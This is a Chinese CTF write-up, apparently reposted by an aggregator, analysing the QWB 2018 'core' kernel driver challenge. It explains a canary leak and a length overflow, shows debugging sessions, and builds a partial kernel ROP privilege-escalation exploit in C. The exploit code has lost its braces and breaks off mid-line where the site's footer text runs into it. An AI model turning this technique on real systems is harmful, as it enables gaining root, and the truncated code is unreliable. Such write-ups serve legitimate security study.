kernel ROP

Posted Y0n1an

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kernel ROP相关的知识,希望对你有一定的参考价值。

basic knowledge

之前有一个点,root权限时的gid和uid为0

内核态提权到root,一般就是执行commit_creds(prepare_kernel_cred(0));这两个函数原理就是分配一个新的cred结构,uid = 0,gid = 0。此时就是root权限
输入cat /proc/kallsyms可以查看他们的地址commit_credsprepare_kernel_cred(0)都是内核函数


现在看一下2018年qwb的core,回顾一下之前的
start.sh:启动脚本,标明了启动的方法,保护措施等
core.cpio:打包的一个文件,解包以后里面有文件系统,其中以vmlinux命名的是内核的二进制文件,core.ko是存在漏洞的驱动,也就是题目分析中分析的二进制文件

bzlmage:镜像文件
vmlinux:相当于是libc
然后新建一个core文件夹find . | cpio -o --format=newc > ../rootfs
解压core以后把init中的id改成0,这样我们就可以以root权限来执行.sh脚本了
把上面哪一行poweroff删掉,就可以了
然后需要更改start.sh中的-m 为128M,64M太小了
这个core.ko就是有漏洞的程序,打开看一下

[*] '/home/ubuntu20/Desktop/2018qwbcore/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

在ida里面看一下,首先

__int64 init_module()

  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;

init module创建了i虚拟文件/proc/core,应用层通过该文件实现与内核的交互。

__int64 exit_core()

  __int64 result; // rax

  if ( core_proc )
    return remove_proc_entry("core");
  return result;

删除了proc/core

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)

  switch ( a2 )
  
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = a3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  
  return 0LL;

ioctl定义了三条命令:core_read(a3),core_copy_func(a3),还有一条是设置全局变量off

先看一下core_read:

unsigned __int64 __fastcall core_read(__int64 a1)

  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = v5;
  for ( i = 16LL; i; --i )
  
    *(_DWORD *)v2 = 0;
    v2 += 4;
  
  strcpy(v5, "Welcome to the QWB CTF challenge.\\n");
  result = copy_to_user(a1, &v5[off], 64LL);//key
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm  swapgs 
  return result;

看到标key的代码,call read从read函数将栈上偏移off处的数据读取到用户态变量中,由上面可知,off变量可以控制,就是可以将栈上任意偏移处的数据读取到用户态变量中,程序开启了canary保护,只要控制了off,这里可以泄漏canary值。
core_copy_func函数:

__int64 __fastcall core_copy_func(__int64 a1)

  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  
  else
  
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  
  return result;

把name传入V2这里存在整数溢出,传进来的长度是一个有符号数,也就是一个大的数就是-1,但是qmemcpy出来的时候是一个无符号数,传入的负数就是一个很大的数
core_write函数可以对全局变量name进行写操作,从用户空间拷贝到内核空间。
core_write

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)

  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(&unk_230);
  return 4294967282LL;

从用户空间拷贝过来,把a2拷贝到name,core_write函数会设置name值,name在bss段,rop可以从这里传入,先保存到bss段中,然后core_copy_func函数将其拷贝到内核栈上。

思路:
core_ioctl+core_read控制off值,泄露canary
core_write在name中构造rop
core_copy_func把rop传回给内核
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态,通过 system("/bin/sh") 等起 shell

启动qemu,在qemu中查看/proc/kallsyms中的 commit_creds 函数地址

调试

调式:
启动gdb ./vmlinux进行调试,这样虽然加载了kernel的符号表,但是没有加载驱动的符号表add-symbol-file core.ko textaddr加载

[    0.028753] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # cat /sys/module/core/sections/.text
0xffffffffc0171000

然后在shell端启动gdb
下好端点

Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...
(No debugging symbols found in ./vmlinux)
pwndbg> add-symbol-file ./core.ko 0xffffffffc0171000
add symbol table from file "./core.ko" at
	.text_addr = 0xffffffffc0171000
Reading symbols from ./core.ko...
(No debugging symbols found in ./core.ko)
pwndbg> b core_read  
Breakpoint 1 at 0xffffffffc0171063
pwndbg> b *(0xffffffffc017100+0xcc)
Breakpoint 2 at 0xffffffffc0171cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
0xffffffff9806e7d2 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0xffffffff9806e7d0 ◂— sti    
 RBX  0xffffffff98a10480 ◂— add    byte ptr [rax], al /* 0x80000000 */
 RCX  0x0
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0xffff9f204641bf20 —▸ 0xffffb4b4400b7960 ◂— 1
 R9   0x0
 R10  0x0
 R11  0x23c
 R12  0xffffffff98a10480 ◂— add    byte ptr [rax], al /* 0x80000000 */
 R13  0xffffffff98a10480 ◂— add    byte ptr [rax], al /* 0x80000000 */
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0xffffffff98a03eb8 —▸ 0xffffffff978b65a0 ◂— jmp    0xffffffff978b6541
 RIP  0xffffffff9806e7d2 ◂— ret    
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0xffffffff9806e7d2    ret    <0xffffffff978b65a0>0xffffffff978b65a0    jmp    0xffffffff978b6541            <0xffffffff978b6541>0xffffffff978b6541    or     byte ptr ds:[r12 + 2], irq_stack_union+32 <32>
   0xffffffff978b6548    pushfq 
   0xffffffff978b6549    pop    rax
   0xffffffff978b654a    test   ah, 2                         <2>
   0xffffffff978b654d    je     0xffffffff978b65e5            <0xffffffff978b65e5>
 
   0xffffffff978b6553    call   0xffffffff978d4720            <0xffffffff978d4720>
 
   0xffffffff978b6558    call   0xffffffff978b6430            <0xffffffff978b6430>
 
   0xffffffff978b655d    mov    rax, qword ptr [rbx]
   0xffffffff978b6560    test   al, 8                         <8>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0xffffffff98a03eb8 —▸ 0xffffffff978b65a0 ◂— jmp    0xffffffff978b6541
01:00080xffffffff98a03ec0 ◂— 0xc2
02:00100xffffffff98a03ec8 —▸ 0xffffffff98ec4900 ◂— int3    /* 0xcccccccccccccccc */
03:00180xffffffff98a03ed0 —▸ 0xffff9f204675f900 ◂— jb     0xffff9f204675f971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:00200xffffffff98a03ed8 —▸ 0xffffffff98ecc2c0 ◂— int3    /* 0xcccccccccccccccc */
05:00280xffffffff98a03ee0 ◂— 0
06:00300xffffffff98a03ee8 ◂— 0
07:00380xffffffff98a03ef0 —▸ 0xffffffff978b673a ◂— jmp    0xffffffff978b6735
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0 0xffffffff9806e7d2
   f 1 0xffffffff978b65a0
   f 2             0xc2 irq_stack_union+194
   f 3 0xffffffff98ec4900
   f 4 0xffff9f204675f900
   f 5 0xffffffff98ecc2c0
   f 6              0x0
────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.


这就是调试方法

exploit编写思路

获取函数地址

首先,我们要获取commit_creds函数和prepare_kernel_cred函数的地址
首先,我们可以看到init文件中:


#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #把 kallsyms 的内容保存到了 
#/tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 
#中读取 commit_creds,prepare_kernel_cred 的函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict #kptr_restrict 设为 1,
#这样就不能通过 /proc/kallsyms 查看函数地址了,
#但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
# dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
 
#poweroff -d 120 -f &
#pwoeroff 定时关机函数 可以直接注释掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys
 

也就是说我们可以利用grep命令启动start.sh后在tmp/kallsyms查看函数地址

[    0.027772] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # grep commit_creds /tmp/kallsyms
ffffffffb4a9c8e0 T commit_creds
/ # grep prepare_kernel_cred /tmp/kallsyms
ffffffffb4a9cce0 T prepare_kernel_cred
/ # 

第二步
因为vmlinux中的偏移是都是固定的,重新加载不会变化,所以可以在vmlinux中得到固定偏移

ubuntu20@ubuntu20-virtual-machine:~/Desktop/core/core$ python 
Python 2.7.18 (default, Mar  8 2021, 13:02:45) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import*
>>> elf = ELF('./vmlinux')
[*] '/home/ubuntu20/Desktop/core/core/vmlinux'
    Arch:     amd64-64-little
    Version:  4.15.8
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments
>>> commit_creds = hex(elf.sym['commit_creds']-0xffffffff81000000)
>>> print commit_creds
0x9c8e0
>>> prepare_kernel_cred = hex(elf.sym['prepare_kernel_cred']-0xffffffff81000000)
>>> print prepare_kernel_cred
0x9cce0
>>> 

0xffffffffb4a9c8e0-0x9c8e0 = 0xffffffffb4a00000
最后exp

保存用户环境

swapgs指令和iretq指令
首先说一下swapgs指令和iretq指令。
swapgs指令通过系统调用切入到kernel系统服务后,通过交换IA32_KERNEL_GS_BASEIA32_GS_BASE的值,从而得到kernel数据结构的指针,其中,IA32_KERNEL_GS_BASE寄存器是一个MSR寄存器,用了保存kernel级别的数据结构指针。
MSR(Model Specific Register)寄存器是为了设置CPU的工作环境和标识CPU的工作状态,包括温度控制、性能监控等,具体可以看这篇文章。关于swapgs指令的内容引用了这篇文章

在执行IRET指令时,如果返回到相同级别的任务,从栈中弹出指令指针到eip,代码段选择器到参数,eflag映像到eflags寄存器

构造rop

控制程序流执行commit_creds(prepare_kernel_cred(0))
执行swapgs;iretq,回到用户态。

编写

后面要返回用户态,需要设置ccs,flag等寄存器状态,所以先保存一下信息,然后打开文件系统

size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
int main()

     save_status();
    int fd = open("/proc/core",2);
    if(fd < 0)
	    exit(0);
     

size_t user_cs,user_ss,user_rflags,user_sp;
void  save_status()

    __asm__("mov user_cs,cs;"
	    "mov user_ss,ss;"
	    "mov user_sp,rsp;"
	    "pushf;"
	    "pop user_rflags;");


然后在tmp/kallsyms目录里面读出地址

size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;//未加载时的vmlinux文件的基地址
size_t vmlinux_base = 0;
int main()

    save_status();
    int fd = open("/proc/core",2);
    if(fd < 0)
	    exit(0);
	find_symbols();
    ssize_t offset = vmlinux_base - raw_vmlinux_base;     


size_t find_symbols()
   FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
   if(kallsyms_fd < 0)
      puts("[*]open kallsyms error!");
      exit(0);
   
   char buf[0x30] = 0;
   while(fgets(buf,0x30,kallsyms_fd))
      if(commit_creds & prepare_kernel_cred)
         return 0;
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds)//在读取中的字符串中查找子串
         char hex[20] = 0;
         strncpy(hex,buf,16);//只拷贝前16字节
         sscanf(hex,"%llx",&commit_creds);
         printf("commit_creds addr: %p\\n",commit_creds);
         
         vmlinux_base = commit_creds - 0x9c8e0;
         printf("vmlinux_base addr: %p\\n",vmlinux_base);
      
      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred)
         char hex[20] = 0;
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         printf("prepare_kernel_cred addr: %p\\n",prepare_kernel_cred);
         vmlinux_base = prepare_kernel_cred - 0x9cce0;
      
   
   if(!commit_creds & !prepare_kernel_cred)
      puts("[*]read kallsyms error!");
      exit(0);
   
 

通过它们的地址减去偏移得到vmlinux_base就是vmlinux的基地址的值,然后减去未加载vmlinux的值得到一个偏移
在ida里面可以看canary和stack_buffer偏移是0x40,我们之前知道设置off可以查看caanry,off设置为40
把fd数据读入到数组,因为我们设置off是从0x40开始读的,所以取数组第一个元素就是canary
然后前面都用canary来进行填充

size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;//未加载时的vmlinux文件的基地址
size_t vmlinux_base = 0;
int main()

   save_status();
   int fd = open("/proc/core",2);
   if(fd < 0)
	   exit(0);
   find_symbols();
   ssize_t offset = vmlinux_base - raw_vmlinux_base;
   set_off(fd, 0x40);
   char buf[0x40] = 0;
   core_read(fd, buf);
   size_t canary = ((size_t*)buf)[0];
   printf("[*]canary: %p\\n",canary); 
   size_t rop[0x1000] = 0;

   int i = 0;
   for ( i = 0; i < 10; i++)
   
        rop[i++] = canary; //用canary填充
       

然后构造rop链
要执行commit_creds(prepare_kernel_cred(0)),要设置rdi和ret

   //commit_creds(prepare_kernel_cred(0))
   //rdi = 0;ret prepare_kernel_cred
   //prepare_kernel_cred(0)
   rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
   rop[i++] = 0;
   rop[i++] = prepare_kernel_cred;

这里rax 已经是prepare_kernel_cred(0)然后设置返回值为commit_creds

  //rax = prepare_kernel_cred(0)
   //rdx = rop 2
   //retn rop 3 mov rdi,rax;call rdx;
   //call rop 2 -> pop "cmp rbx,r15" to rcx
   //retn commit_creds
   rop[i++] = 0xffffffff810a0f49 +以上是关于kernel ROP的主要内容,如果未能解决你的问题,请参考以下文章

pwn-ROP

Linux内核ROP姿势详解

kernel pwn ret2usr

kernel pwn ret2usr

inndy_rop

如何获取 ROP4 掩码位?